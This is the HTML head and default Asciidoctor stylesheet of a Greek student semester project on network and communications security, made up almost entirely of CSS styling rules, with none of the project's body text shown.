<!DOCTYPE html>
< html lang = "en" >
< head >
< meta charset = "UTF-8" >
<!-- [if IE]><meta http - equiv="X - UA - Compatible" content="IE=edge"><![endif] -->
< meta name = "viewport" content = "width=device-width, initial-scale=1.0" >
< meta name = "generator" content = "Asciidoctor 1.5.8" >
< meta name = "author" content = "Καραβίδας Γεώργιος cse242017107@uniwa.gr - Θεοδωρόπουλος Διονύσιος cs171208@uniwa.gr" >
< title > Ασφάλεια Δικτύων και Επικοινωνιών - Εργασία Εξαμήνου< / title >
< link rel = "stylesheet" href = "https://fonts.googleapis.com/css?family=Open+Sans:300,300italic,400,400italic,600,600italic%7CNoto+Serif:400,400italic,700,700italic%7CDroid+Sans+Mono:400,700" >
< style >
/* Asciidoctor default stylesheet | MIT License | http://asciidoctor.org */
/* Uncomment @import statement below to use as custom stylesheet */
/*@import "https://fonts.googleapis.com/css?family=Open+Sans:300,300italic,400,400italic,600,600italic%7CNoto+Serif:400,400italic,700,700italic%7CDroid+Sans+Mono:400,700";*/
article,aside,details,figcaption,figure,footer,header,hgroup,main,nav,section,summary{display:block}
audio,canvas,video{display:inline-block}
audio:not([controls]){display:none;height:0}
script{display:none!important}
html{font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}
a{background:transparent}
a:focus{outline:thin dotted}
a:active,a:hover{outline:0}
h1{font-size:2em;margin:.67em 0}
abbr[title]{border-bottom:1px dotted}
b,strong{font-weight:bold}
dfn{font-style:italic}
hr{-moz-box-sizing:content-box;box-sizing:content-box;height:0}
mark{background:#ff0;color:#000}
code,kbd,pre,samp{font-family:monospace;font-size:1em}
pre{white-space:pre-wrap}
q{quotes:"\201C" "\201D" "\2018" "\2019"}
small{font-size:80%}
sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}
sup{top:-.5em}
sub{bottom:-.25em}
img{border:0}
svg:not(:root){overflow:hidden}
figure{margin:0}
fieldset{border:1px solid silver;margin:0 2px;padding:.35em .625em .75em}
legend{border:0;padding:0}
button,input,select,textarea{font-family:inherit;font-size:100%;margin:0}
button,input{line-height:normal}
button,select{text-transform:none}
button,html input[type="button"],input[type="reset"],input[type="submit"]{-webkit-appearance:button;cursor:pointer}
button[disabled],html input[disabled]{cursor:default}
input[type="checkbox"],input[type="radio"]{box-sizing:border-box;padding:0}
button::-moz-focus-inner,input::-moz-focus-inner{border:0;padding:0}
textarea{overflow:auto;vertical-align:top}
table{border-collapse:collapse;border-spacing:0}
*,*::before,*::after{-moz-box-sizing:border-box;-webkit-box-sizing:border-box;box-sizing:border-box}
html,body{font-size:100%}
body{background:#fff;color:rgba(0,0,0,.8);padding:0;margin:0;font-family:"Noto Serif","DejaVu Serif",serif;font-weight:400;font-style:normal;line-height:1;position:relative;cursor:auto;tab-size:4;-moz-osx-font-smoothing:grayscale;-webkit-font-smoothing:antialiased}
a:hover{cursor:pointer}
img,object,embed{max-width:100%;height:auto}
object,embed{height:100%}
img{-ms-interpolation-mode:bicubic}
.left{float:left!important}
.right{float:right!important}
.text-left{text-align:left!important}
.text-right{text-align:right!important}
.text-center{text-align:center!important}
.text-justify{text-align:justify!important}
.hide{display:none}
img,object,svg{display:inline-block;vertical-align:middle}
textarea{height:auto;min-height:50px}
select{width:100%}
.center{margin-left:auto;margin-right:auto}
.stretch{width:100%}
.subheader,.admonitionblock td.content>.title,.audioblock>.title,.exampleblock>.title,.imageblock>.title,.listingblock>.title,.literalblock>.title,.stemblock>.title,.openblock>.title,.paragraph>.title,.quoteblock>.title,table.tableblock>.title,.verseblock>.title,.videoblock>.title,.dlist>.title,.olist>.title,.ulist>.title,.qlist>.title,.hdlist>.title{line-height:1.45;color:#7a2518;font-weight:400;margin-top:0;margin-bottom:.25em}
div,dl,dt,dd,ul,ol,li,h1,h2,h3,#toctitle,.sidebarblock>.content>.title,h4,h5,h6,pre,form,p,blockquote,th,td{margin:0;padding:0;direction:ltr}
a{color:#2156a5;text-decoration:underline;line-height:inherit}
a:hover,a:focus{color:#1d4b8f}
a img{border:none}
p{font-family:inherit;font-weight:400;font-size:1em;line-height:1.6;margin-bottom:1.25em;text-rendering:optimizeLegibility}
p aside{font-size:.875em;line-height:1.35;font-style:italic}
h1,h2,h3,#toctitle,.sidebarblock>.content>.title,h4,h5,h6{font-family:"Open Sans","DejaVu Sans",sans-serif;font-weight:300;font-style:normal;color:#ba3925;text-rendering:optimizeLegibility;margin-top:1em;margin-bottom:.5em;line-height:1.0125em}
h1 small,h2 small,h3 small,#toctitle small,.sidebarblock>.content>.title small,h4 small,h5 small,h6 small{font-size:60%;color:#e99b8f;line-height:0}
h1{font-size:2.125em}
h2{font-size:1.6875em}
h3,#toctitle,.sidebarblock>.content>.title{font-size:1.375em}
h4,h5{font-size:1.125em}
h6{font-size:1em}
hr{border:solid #dddddf;border-width:1px 0 0;clear:both;margin:1.25em 0 1.1875em;height:0}
em,i{font-style:italic;line-height:inherit}
strong,b{font-weight:bold;line-height:inherit}
small{font-size:60%;line-height:inherit}
code{font-family:"Droid Sans Mono","DejaVu Sans Mono",monospace;font-weight:400;color:rgba(0,0,0,.9)}
ul,ol,dl{font-size:1em;line-height:1.6;margin-bottom:1.25em;list-style-position:outside;font-family:inherit}
ul,ol{margin-left:1.5em}
ul li ul,ul li ol{margin-left:1.25em;margin-bottom:0;font-size:1em}
ul.square li ul,ul.circle li ul,ul.disc li ul{list-style:inherit}
ul.square{list-style-type:square}
ul.circle{list-style-type:circle}
ul.disc{list-style-type:disc}
ol li ul,ol li ol{margin-left:1.25em;margin-bottom:0}
dl dt{margin-bottom:.3125em;font-weight:bold}
dl dd{margin-bottom:1.25em}
abbr,acronym{text-transform:uppercase;font-size:90%;color:rgba(0,0,0,.8);border-bottom:1px dotted #ddd;cursor:help}
abbr{text-transform:none}
blockquote{margin:0 0 1.25em;padding:.5625em 1.25em 0 1.1875em;border-left:1px solid #ddd}
blockquote cite{display:block;font-size:.9375em;color:rgba(0,0,0,.6)}
blockquote cite::before{content:"\2014 \0020"}
blockquote cite a,blockquote cite a:visited{color:rgba(0,0,0,.6)}
blockquote,blockquote p{line-height:1.6;color:rgba(0,0,0,.85)}
@media screen and (min-width:768px){h1,h2,h3,#toctitle,.sidebarblock>.content>.title,h4,h5,h6{line-height:1.2}
h1{font-size:2.75em}
h2{font-size:2.3125em}
h3,#toctitle,.sidebarblock>.content>.title{font-size:1.6875em}
h4{font-size:1.4375em}}
table{background:#fff;margin-bottom:1.25em;border:solid 1px #dedede}
table thead,table tfoot{background:#f7f8f7}
table thead tr th,table thead tr td,table tfoot tr th,table tfoot tr td{padding:.5em .625em .625em;font-size:inherit;color:rgba(0,0,0,.8);text-align:left}
table tr th,table tr td{padding:.5625em .625em;font-size:inherit;color:rgba(0,0,0,.8)}
table tr.even,table tr.alt,table tr:nth-of-type(even){background:#f8f8f7}
table thead tr th,table tfoot tr th,table tbody tr td,table tr td,table tfoot tr td{display:table-cell;line-height:1.6}
h1,h2,h3,#toctitle,.sidebarblock>.content>.title,h4,h5,h6{line-height:1.2;word-spacing:-.05em}
h1 strong,h2 strong,h3 strong,#toctitle strong,.sidebarblock>.content>.title strong,h4 strong,h5 strong,h6 strong{font-weight:400}
.clearfix::before,.clearfix::after,.float-group::before,.float-group::after{content:" ";display:table}
.clearfix::after,.float-group::after{clear:both}
*:not(pre)>code{font-size:.9375em;font-style:normal!important;letter-spacing:0;padding:.1em .5ex;word-spacing:-.15em;background-color:#f7f7f8;-webkit-border-radius:4px;border-radius:4px;line-height:1.45;text-rendering:optimizeSpeed;word-wrap:break-word}
*:not(pre)>code.nobreak{word-wrap:normal}
*:not(pre)>code.nowrap{white-space:nowrap}
pre,pre>code{line-height:1.45;color:rgba(0,0,0,.9);font-family:"Droid Sans Mono","DejaVu Sans Mono",monospace;font-weight:400;text-rendering:optimizeSpeed}
em em{font-style:normal}
strong strong{font-weight:400}
.keyseq{color:rgba(51,51,51,.8)}
kbd{font-family:"Droid Sans Mono","DejaVu Sans Mono",monospace;display:inline-block;color:rgba(0,0,0,.8);font-size:.65em;line-height:1.45;background-color:#f7f7f7;border:1px solid #ccc;-webkit-border-radius:3px;border-radius:3px;-webkit-box-shadow:0 1px 0 rgba(0,0,0,.2),0 0 0 .1em white inset;box-shadow:0 1px 0 rgba(0,0,0,.2),0 0 0 .1em #fff inset;margin:0 .15em;padding:.2em .5em;vertical-align:middle;position:relative;top:-.1em;white-space:nowrap}
.keyseq kbd:first-child{margin-left:0}
.keyseq kbd:last-child{margin-right:0}
.menuseq,.menuref{color:#000}
.menuseq b:not(.caret),.menuref{font-weight:inherit}
.menuseq{word-spacing:-.02em}
.menuseq b.caret{font-size:1.25em;line-height:.8}
.menuseq i.caret{font-weight:bold;text-align:center;width:.45em}
b.button::before,b.button::after{position:relative;top:-1px;font-weight:400}
b.button::before{content:"[";padding:0 3px 0 2px}
b.button::after{content:"]";padding:0 2px 0 3px}
p a>code:hover{color:rgba(0,0,0,.9)}
#header,#content,#footnotes,#footer{width:100%;margin-left:auto;margin-right:auto;margin-top:0;margin-bottom:0;max-width:62.5em;*zoom:1;position:relative;padding-left:.9375em;padding-right:.9375em}
#header::before,#header::after,#content::before,#content::after,#footnotes::before,#footnotes::after,#footer::before,#footer::after{content:" ";display:table}
#header::after,#content::after,#footnotes::after,#footer::after{clear:both}
#content{margin-top:1.25em}
#content::before{content:none}
#header>h1:first-child{color:rgba(0,0,0,.85);margin-top:2.25rem;margin-bottom:0}
#header>h1:first-child+#toc{margin-top:8px;border-top:1px solid #dddddf}
#header>h1:only-child,body.toc2 #header>h1:nth-last-child(2){border-bottom:1px solid #dddddf;padding-bottom:8px}
#header .details{border-bottom:1px solid #dddddf;line-height:1.45;padding-top:.25em;padding-bottom:.25em;padding-left:.25em;color:rgba(0,0,0,.6);display:-ms-flexbox;display:-webkit-flex;display:flex;-ms-flex-flow:row wrap;-webkit-flex-flow:row wrap;flex-flow:row wrap}
#header .details span:first-child{margin-left:-.125em}
#header .details span.email a{color:rgba(0,0,0,.85)}
#header .details br{display:none}
#header .details br+span::before{content:"\00a0\2013\00a0"}
#header .details br+span.author::before{content:"\00a0\22c5\00a0";color:rgba(0,0,0,.85)}
#header .details br+span#revremark::before{content:"\00a0|\00a0"}
#header #revnumber{text-transform:capitalize}
#header #revnumber::after{content:"\00a0"}
#content>h1:first-child:not([class]){color:rgba(0,0,0,.85);border-bottom:1px solid #dddddf;padding-bottom:8px;margin-top:0;padding-top:1rem;margin-bottom:1.25rem}
#toc{border-bottom:1px solid #e7e7e9;padding-bottom:.5em}
#toc>ul{margin-left:.125em}
#toc ul.sectlevel0>li>a{font-style:italic}
#toc ul.sectlevel0 ul.sectlevel1{margin:.5em 0}
#toc ul{font-family:"Open Sans","DejaVu Sans",sans-serif;list-style-type:none}
#toc li{line-height:1.3334;margin-top:.3334em}
#toc a{text-decoration:none}
#toc a:active{text-decoration:underline}
#toctitle{color:#7a2518;font-size:1.2em}
@media screen and (min-width:768px){#toctitle{font-size:1.375em}
body.toc2{padding-left:15em;padding-right:0}
#toc.toc2{margin-top:0!important;background-color:#f8f8f7;position:fixed;width:15em;left:0;top:0;border-right:1px solid #e7e7e9;border-top-width:0!important;border-bottom-width:0!important;z-index:1000;padding:1.25em 1em;height:100%;overflow:auto}
#toc.toc2 #toctitle{margin-top:0;margin-bottom:.8rem;font-size:1.2em}
#toc.toc2>ul{font-size:.9em;margin-bottom:0}
#toc.toc2 ul ul{margin-left:0;padding-left:1em}
#toc.toc2 ul.sectlevel0 ul.sectlevel1{padding-left:0;margin-top:.5em;margin-bottom:.5em}
body.toc2.toc-right{padding-left:0;padding-right:15em}
body.toc2.toc-right #toc.toc2{border-right-width:0;border-left:1px solid #e7e7e9;left:auto;right:0}}
@media screen and (min-width:1280px){body.toc2{padding-left:20em;padding-right:0}
#toc.toc2{width:20em}
#toc.toc2 #toctitle{font-size:1.375em}
#toc.toc2>ul{font-size:.95em}
#toc.toc2 ul ul{padding-left:1.25em}
body.toc2.toc-right{padding-left:0;padding-right:20em}}
#content #toc{border-style:solid;border-width:1px;border-color:#e0e0dc;margin-bottom:1.25em;padding:1.25em;background:#f8f8f7;-webkit-border-radius:4px;border-radius:4px}
#content #toc>:first-child{margin-top:0}
#content #toc>:last-child{margin-bottom:0}
#footer{max-width:100%;background-color:rgba(0,0,0,.8);padding:1.25em}
#footer-text{color:rgba(255,255,255,.8);line-height:1.44}
#content{margin-bottom:.625em}
.sect1{padding-bottom:.625em}
@media screen and (min-width:768px){#content{margin-bottom:1.25em}
.sect1{padding-bottom:1.25em}}
.sect1:last-child{padding-bottom:0}
.sect1+.sect1{border-top:1px solid #e7e7e9}
#content h1>a.anchor,h2>a.anchor,h3>a.anchor,#toctitle>a.anchor,.sidebarblock>.content>.title>a.anchor,h4>a.anchor,h5>a.anchor,h6>a.anchor{position:absolute;z-index:1001;width:1.5ex;margin-left:-1.5ex;display:block;text-decoration:none!important;visibility:hidden;text-align:center;font-weight:400}
#content h1>a.anchor::before,h2>a.anchor::before,h3>a.anchor::before,#toctitle>a.anchor::before,.sidebarblock>.content>.title>a.anchor::before,h4>a.anchor::before,h5>a.anchor::before,h6>a.anchor::before{content:"\00A7";font-size:.85em;display:block;padding-top:.1em}
#content h1:hover>a.anchor,#content h1>a.anchor:hover,h2:hover>a.anchor,h2>a.anchor:hover,h3:hover>a.anchor,#toctitle:hover>a.anchor,.sidebarblock>.content>.title:hover>a.anchor,h3>a.anchor:hover,#toctitle>a.anchor:hover,.sidebarblock>.content>.title>a.anchor:hover,h4:hover>a.anchor,h4>a.anchor:hover,h5:hover>a.anchor,h5>a.anchor:hover,h6:hover>a.anchor,h6>a.anchor:hover{visibility:visible}
#content h1>a.link,h2>a.link,h3>a.link,#toctitle>a.link,.sidebarblock>.content>.title>a.link,h4>a.link,h5>a.link,h6>a.link{color:#ba3925;text-decoration:none}
#content h1>a.link:hover,h2>a.link:hover,h3>a.link:hover,#toctitle>a.link:hover,.sidebarblock>.content>.title>a.link:hover,h4>a.link:hover,h5>a.link:hover,h6>a.link:hover{color:#a53221}
.audioblock,.imageblock,.literalblock,.listingblock,.stemblock,.videoblock{margin-bottom:1.25em}
.admonitionblock td.content>.title,.audioblock>.title,.exampleblock>.title,.imageblock>.title,.listingblock>.title,.literalblock>.title,.stemblock>.title,.openblock>.title,.paragraph>.title,.quoteblock>.title,table.tableblock>.title,.verseblock>.title,.videoblock>.title,.dlist>.title,.olist>.title,.ulist>.title,.qlist>.title,.hdlist>.title{text-rendering:optimizeLegibility;text-align:left;font-family:"Noto Serif","DejaVu Serif",serif;font-size:1rem;font-style:italic}
table.tableblock.fit-content>caption.title{white-space:nowrap;width:0}
.paragraph.lead>p,#preamble>.sectionbody>[class="paragraph"]:first-of-type p{font-size:1.21875em;line-height:1.6;color:rgba(0,0,0,.85)}
table.tableblock #preamble>.sectionbody>[class="paragraph"]:first-of-type p{font-size:inherit}
.admonitionblock>table{border-collapse:separate;border:0;background:none;width:100%}
.admonitionblock>table td.icon{text-align:center;width:80px}
.admonitionblock>table td.icon img{max-width:none}
.admonitionblock>table td.icon .title{font-weight:bold;font-family:"Open Sans","DejaVu Sans",sans-serif;text-transform:uppercase}
.admonitionblock>table td.content{padding-left:1.125em;padding-right:1.25em;border-left:1px solid #dddddf;color:rgba(0,0,0,.6)}
.admonitionblock>table td.content>:last-child>:last-child{margin-bottom:0}
.exampleblock>.content{border-style:solid;border-width:1px;border-color:#e6e6e6;margin-bottom:1.25em;padding:1.25em;background:#fff;-webkit-border-radius:4px;border-radius:4px}
.exampleblock>.content>:first-child{margin-top:0}
.exampleblock>.content>:last-child{margin-bottom:0}
.sidebarblock{border-style:solid;border-width:1px;border-color:#e0e0dc;margin-bottom:1.25em;padding:1.25em;background:#f8f8f7;-webkit-border-radius:4px;border-radius:4px}
.sidebarblock>:first-child{margin-top:0}
.sidebarblock>:last-child{margin-bottom:0}
.sidebarblock>.content>.title{color:#7a2518;margin-top:0;text-align:center}
.exampleblock>.content>:last-child>:last-child,.exampleblock>.content .olist>ol>li:last-child>:last-child,.exampleblock>.content .ulist>ul>li:last-child>:last-child,.exampleblock>.content .qlist>ol>li:last-child>:last-child,.sidebarblock>.content>:last-child>:last-child,.sidebarblock>.content .olist>ol>li:last-child>:last-child,.sidebarblock>.content .ulist>ul>li:last-child>:last-child,.sidebarblock>.content .qlist>ol>li:last-child>:last-child{margin-bottom:0}
.literalblock pre,.listingblock pre:not(.highlight),.listingblock pre[class="highlight"],.listingblock pre[class^="highlight "],.listingblock pre.CodeRay,.listingblock pre.prettyprint{background:#f7f7f8}
.sidebarblock .literalblock pre,.sidebarblock .listingblock pre:not(.highlight),.sidebarblock .listingblock pre[class="highlight"],.sidebarblock .listingblock pre[class^="highlight "],.sidebarblock .listingblock pre.CodeRay,.sidebarblock .listingblock pre.prettyprint{background:#f2f1f1}
.literalblock pre,.literalblock pre[class],.listingblock pre,.listingblock pre[class]{-webkit-border-radius:4px;border-radius:4px;word-wrap:break-word;overflow-x:auto;padding:1em;font-size:.8125em}
@media screen and (min-width:768px){.literalblock pre,.literalblock pre[class],.listingblock pre,.listingblock pre[class]{font-size:.90625em}}
@media screen and (min-width:1280px){.literalblock pre,.literalblock pre[class],.listingblock pre,.listingblock pre[class]{font-size:1em}}
.literalblock pre.nowrap,.literalblock pre.nowrap pre,.listingblock pre.nowrap,.listingblock pre.nowrap pre{white-space:pre;word-wrap:normal}
.literalblock.output pre{color:#f7f7f8;background-color:rgba(0,0,0,.9)}
.listingblock pre.highlightjs{padding:0}
.listingblock pre.highlightjs>code{padding:1em;-webkit-border-radius:4px;border-radius:4px}
.listingblock pre.prettyprint{border-width:0}
.listingblock>.content{position:relative}
.listingblock code[data-lang]::before{display:none;content:attr(data-lang);position:absolute;font-size:.75em;top:.425rem;right:.5rem;line-height:1;text-transform:uppercase;color:#999}
.listingblock:hover code[data-lang]::before{display:block}
.listingblock.terminal pre .command::before{content:attr(data-prompt);padding-right:.5em;color:#999}
.listingblock.terminal pre .command:not([data-prompt])::before{content:"$"}
table.pyhltable{border-collapse:separate;border:0;margin-bottom:0;background:none}
table.pyhltable td{vertical-align:top;padding-top:0;padding-bottom:0;line-height:1.45}
table.pyhltable td.code{padding-left:.75em;padding-right:0}
pre.pygments .lineno,table.pyhltable td:not(.code){color:#999;padding-left:0;padding-right:.5em;border-right:1px solid #dddddf}
pre.pygments .lineno{display:inline-block;margin-right:.25em}
table.pyhltable .linenodiv{background:none!important;padding-right:0!important}
.quoteblock{margin:0 1em 1.25em 1.5em;display:table}
.quoteblock>.title{margin-left:-1.5em;margin-bottom:.75em}
.quoteblock blockquote,.quoteblock p{color:rgba(0,0,0,.85);font-size:1.15rem;line-height:1.75;word-spacing:.1em;letter-spacing:0;font-style:italic;text-align:justify}
.quoteblock blockquote{margin:0;padding:0;border:0}
.quoteblock blockquote::before{content:"\201c";float:left;font-size:2.75em;font-weight:bold;line-height:.6em;margin-left:-.6em;color:#7a2518;text-shadow:0 1px 2px rgba(0,0,0,.1)}
.quoteblock blockquote>.paragraph:last-child p{margin-bottom:0}
.quoteblock .attribution{margin-top:.75em;margin-right:.5ex;text-align:right}
.verseblock{margin:0 1em 1.25em}
.verseblock pre{font-family:"Open Sans","DejaVu Sans",sans;font-size:1.15rem;color:rgba(0,0,0,.85);font-weight:300;text-rendering:optimizeLegibility}
.verseblock pre strong{font-weight:400}
.verseblock .attribution{margin-top:1.25rem;margin-left:.5ex}
.quoteblock .attribution,.verseblock .attribution{font-size:.9375em;line-height:1.45;font-style:italic}
.quoteblock .attribution br,.verseblock .attribution br{display:none}
.quoteblock .attribution cite,.verseblock .attribution cite{display:block;letter-spacing:-.025em;color:rgba(0,0,0,.6)}
.quoteblock.abstract blockquote::before,.quoteblock.excerpt blockquote::before,.quoteblock .quoteblock blockquote::before{display:none}
.quoteblock.abstract blockquote,.quoteblock.abstract p,.quoteblock.excerpt blockquote,.quoteblock.excerpt p,.quoteblock .quoteblock blockquote,.quoteblock .quoteblock p{line-height:1.6;word-spacing:0}
.quoteblock.abstract{margin:0 1em 1.25em;display:block}
.quoteblock.abstract>.title{margin:0 0 .375em;font-size:1.15em;text-align:center}
.quoteblock.excerpt,.quoteblock .quoteblock{margin:0 0 1.25em;padding:0 0 .25em 1em;border-left:.25em solid #dddddf}
.quoteblock.excerpt blockquote,.quoteblock.excerpt p,.quoteblock .quoteblock blockquote,.quoteblock .quoteblock p{color:inherit;font-size:1.0625rem}
.quoteblock.excerpt .attribution,.quoteblock .quoteblock .attribution{color:inherit;text-align:left;margin-right:0}
table.tableblock{max-width:100%;border-collapse:separate}
p.tableblock:last-child{margin-bottom:0}
td.tableblock>.content{margin-bottom:-1.25em}
table.tableblock,th.tableblock,td.tableblock{border:0 solid #dedede}
table.grid-all>thead>tr>.tableblock,table.grid-all>tbody>tr>.tableblock{border-width:0 1px 1px 0}
table.grid-all>tfoot>tr>.tableblock{border-width:1px 1px 0 0}
table.grid-cols>*>tr>.tableblock{border-width:0 1px 0 0}
table.grid-rows>thead>tr>.tableblock,table.grid-rows>tbody>tr>.tableblock{border-width:0 0 1px}
table.grid-rows>tfoot>tr>.tableblock{border-width:1px 0 0}
table.grid-all>*>tr>.tableblock:last-child,table.grid-cols>*>tr>.tableblock:last-child{border-right-width:0}
table.grid-all>tbody>tr:last-child>.tableblock,table.grid-all>thead:last-child>tr>.tableblock,table.grid-rows>tbody>tr:last-child>.tableblock,table.grid-rows>thead:last-child>tr>.tableblock{border-bottom-width:0}
table.frame-all{border-width:1px}
table.frame-sides{border-width:0 1px}
table.frame-topbot,table.frame-ends{border-width:1px 0}
table.stripes-all tr,table.stripes-odd tr:nth-of-type(odd){background:#f8f8f7}
table.stripes-none tr,table.stripes-odd tr:nth-of-type(even){background:none}
th.halign-left,td.halign-left{text-align:left}
th.halign-right,td.halign-right{text-align:right}
th.halign-center,td.halign-center{text-align:center}
th.valign-top,td.valign-top{vertical-align:top}
th.valign-bottom,td.valign-bottom{vertical-align:bottom}
th.valign-middle,td.valign-middle{vertical-align:middle}
table thead th,table tfoot th{font-weight:bold}
tbody tr th{display:table-cell;line-height:1.6;background:#f7f8f7}
tbody tr th,tbody tr th p,tfoot tr th,tfoot tr th p{color:rgba(0,0,0,.8);font-weight:bold}
p.tableblock>code:only-child{background:none;padding:0}
p.tableblock{font-size:1em}
td>div.verse{white-space:pre}
ol{margin-left:1.75em}
ul li ol{margin-left:1.5em}
dl dd{margin-left:1.125em}
dl dd:last-child,dl dd:last-child>:last-child{margin-bottom:0}
ol>li p,ul>li p,ul dd,ol dd,.olist .olist,.ulist .ulist,.ulist .olist,.olist .ulist{margin-bottom:.625em}
ul.checklist,ul.none,ol.none,ul.no-bullet,ol.no-bullet,ol.unnumbered,ul.unstyled,ol.unstyled{list-style-type:none}
ul.no-bullet,ol.no-bullet,ol.unnumbered{margin-left:.625em}
ul.unstyled,ol.unstyled{margin-left:0}
ul.checklist{margin-left:.625em}
ul.checklist li>p:first-child>.fa-square-o:first-child,ul.checklist li>p:first-child>.fa-check-square-o:first-child{width:1.25em;font-size:.8em;position:relative;bottom:.125em}
ul.checklist li>p:first-child>input[type="checkbox"]:first-child{margin-right:.25em}
ul.inline{display:-ms-flexbox;display:-webkit-box;display:flex;-ms-flex-flow:row wrap;-webkit-flex-flow:row wrap;flex-flow:row wrap;list-style:none;margin:0 0 .625em -1.25em}
ul.inline>li{margin-left:1.25em}
.unstyled dl dt{font-weight:400;font-style:normal}
ol.arabic{list-style-type:decimal}
ol.decimal{list-style-type:decimal-leading-zero}
ol.loweralpha{list-style-type:lower-alpha}
ol.upperalpha{list-style-type:upper-alpha}
ol.lowerroman{list-style-type:lower-roman}
ol.upperroman{list-style-type:upper-roman}
ol.lowergreek{list-style-type:lower-greek}
.hdlist>table,.colist>table{border:0;background:none}
.hdlist>table>tbody>tr,.colist>table>tbody>tr{background:none}
td.hdlist1,td.hdlist2{vertical-align:top;padding:0 .625em}
td.hdlist1{font-weight:bold;padding-bottom:1.25em}
.literalblock+.colist,.listingblock+.colist{margin-top:-.5em}
.colist td:not([class]):first-child{padding:.4em .75em 0;line-height:1;vertical-align:top}
.colist td:not([class]):first-child img{max-width:none}
.colist td:not([class]):last-child{padding:.25em 0}
.thumb,.th{line-height:0;display:inline-block;border:solid 4px #fff;-webkit-box-shadow:0 0 0 1px #ddd;box-shadow:0 0 0 1px #ddd}
.imageblock.left{margin:.25em .625em 1.25em 0}
.imageblock.right{margin:.25em 0 1.25em .625em}
.imageblock>.title{margin-bottom:0}
.imageblock.thumb,.imageblock.th{border-width:6px}
.imageblock.thumb>.title,.imageblock.th>.title{padding:0 .125em}
.image.left,.image.right{margin-top:.25em;margin-bottom:.25em;display:inline-block;line-height:0}
.image.left{margin-right:.625em}
.image.right{margin-left:.625em}
a.image{text-decoration:none;display:inline-block}
a.image object{pointer-events:none}
sup.footnote,sup.footnoteref{font-size:.875em;position:static;vertical-align:super}
sup.footnote a,sup.footnoteref a{text-decoration:none}
sup.footnote a:active,sup.footnoteref a:active{text-decoration:underline}
#footnotes{padding-top:.75em;padding-bottom:.75em;margin-bottom:.625em}
#footnotes hr{width:20%;min-width:6.25em;margin:-.25em 0 .75em;border-width:1px 0 0}
#footnotes .footnote{padding:0 .375em 0 .225em;line-height:1.3334;font-size:.875em;margin-left:1.2em;margin-bottom:.2em}
#footnotes .footnote a:first-of-type{font-weight:bold;text-decoration:none;margin-left:-1.05em}
#footnotes .footnote:last-of-type{margin-bottom:0}
#content #footnotes{margin-top:-.625em;margin-bottom:0;padding:.75em 0}
.gist .file-data>table{border:0;background:#fff;width:100%;margin-bottom:0}
.gist .file-data>table td.line-data{width:99%}
div.unbreakable{page-break-inside:avoid}
.big{font-size:larger}
.small{font-size:smaller}
.underline{text-decoration:underline}
.overline{text-decoration:overline}
.line-through{text-decoration:line-through}
.aqua{color:#00bfbf}
.aqua-background{background-color:#00fafa}
.black{color:#000}
.black-background{background-color:#000}
.blue{color:#0000bf}
.blue-background{background-color:#0000fa}
.fuchsia{color:#bf00bf}
.fuchsia-background{background-color:#fa00fa}
.gray{color:#606060}
.gray-background{background-color:#7d7d7d}
.green{color:#006000}
.green-background{background-color:#007d00}
.lime{color:#00bf00}
.lime-background{background-color:#00fa00}
.maroon{color:#600000}
.maroon-background{background-color:#7d0000}
.navy{color:#000060}
.navy-background{background-color:#00007d}
.olive{color:#606000}
.olive-background{background-color:#7d7d00}
.purple{color:#600060}
.purple-background{background-color:#7d007d}
.red{color:#bf0000}
.red-background{background-color:#fa0000}
.silver{color:#909090}
.silver-background{background-color:#bcbcbc}
.teal{color:#006060}
.teal-background{background-color:#007d7d}
.white{color:#bfbfbf}
.white-background{background-color:#fafafa}
.yellow{color:#bfbf00}
.yellow-background{background-color:#fafa00}
span.icon>.fa{cursor:default}
a span.icon>.fa{cursor:inherit}
.admonitionblock td.icon [class^="fa icon-"]{font-size:2.5em;text-shadow:1px 1px 2px rgba(0,0,0,.5);cursor:default}
.admonitionblock td.icon .icon-note::before{content:"\f05a";color:#19407c}
.admonitionblock td.icon .icon-tip::before{content:"\f0eb";text-shadow:1px 1px 2px rgba(155,155,0,.8);color:#111}
.admonitionblock td.icon .icon-warning::before{content:"\f071";color:#bf6900}
.admonitionblock td.icon .icon-caution::before{content:"\f06d";color:#bf3400}
.admonitionblock td.icon .icon-important::before{content:"\f06a";color:#bf0000}
.conum[data-value]{display:inline-block;color:#fff!important;background-color:rgba(0,0,0,.8);-webkit-border-radius:100px;border-radius:100px;text-align:center;font-size:.75em;width:1.67em;height:1.67em;line-height:1.67em;font-family:"Open Sans","DejaVu Sans",sans-serif;font-style:normal;font-weight:bold}
.conum[data-value] *{color:#fff!important}
.conum[data-value]+b{display:none}
.conum[data-value]::after{content:attr(data-value)}
pre .conum[data-value]{position:relative;top:-.125em}
b.conum *{color:inherit!important}
.conum:not([data-value]):empty{display:none}
dt,th.tableblock,td.content,div.footnote{text-rendering:optimizeLegibility}
h1,h2,p,td.content,span.alt{letter-spacing:-.01em}
p strong,td.content strong,div.footnote strong{letter-spacing:-.005em}
p,blockquote,dt,td.content,span.alt{font-size:1.0625rem}
p{margin-bottom:1.25rem}
.sidebarblock p,.sidebarblock dt,.sidebarblock td.content,p.tableblock{font-size:1em}
.exampleblock>.content{background-color:#fffef7;border-color:#e0e0dc;-webkit-box-shadow:0 1px 4px #e0e0dc;box-shadow:0 1px 4px #e0e0dc}
.print-only{display:none!important}
@page{margin:1.25cm .75cm}
@media print{*{-webkit-box-shadow:none!important;box-shadow:none!important;text-shadow:none!important}
html{font-size:80%}
a{color:inherit!important;text-decoration:underline!important}
a.bare,a[href^="#"],a[href^="mailto:"]{text-decoration:none!important}
a[href^="http:"]:not(.bare)::after,a[href^="https:"]:not(.bare)::after{content:"(" attr(href) ")";display:inline-block;font-size:.875em;padding-left:.25em}
abbr[title]::after{content:" (" attr(title) ")"}
pre,blockquote,tr,img,object,svg{page-break-inside:avoid}
thead{display:table-header-group}
svg{max-width:100%}
p,blockquote,dt,td.content{font-size:1em;orphans:3;widows:3}
h2,h3,#toctitle,.sidebarblock>.content>.title{page-break-after:avoid}
#toc,.sidebarblock,.exampleblock>.content{background:none!important}
#toc{border-bottom:1px solid #dddddf!important;padding-bottom:0!important}
body.book #header{text-align:center}
body.book #header>h1:first-child{border:0!important;margin:2.5em 0 1em}
body.book #header .details{border:0!important;display:block;padding:0!important}
body.book #header .details span:first-child{margin-left:0!important}
body.book #header .details br{display:block}
body.book #header .details br+span::before{content:none!important}
body.book #toc{border:0!important;text-align:left!important;padding:0!important;margin:0!important}
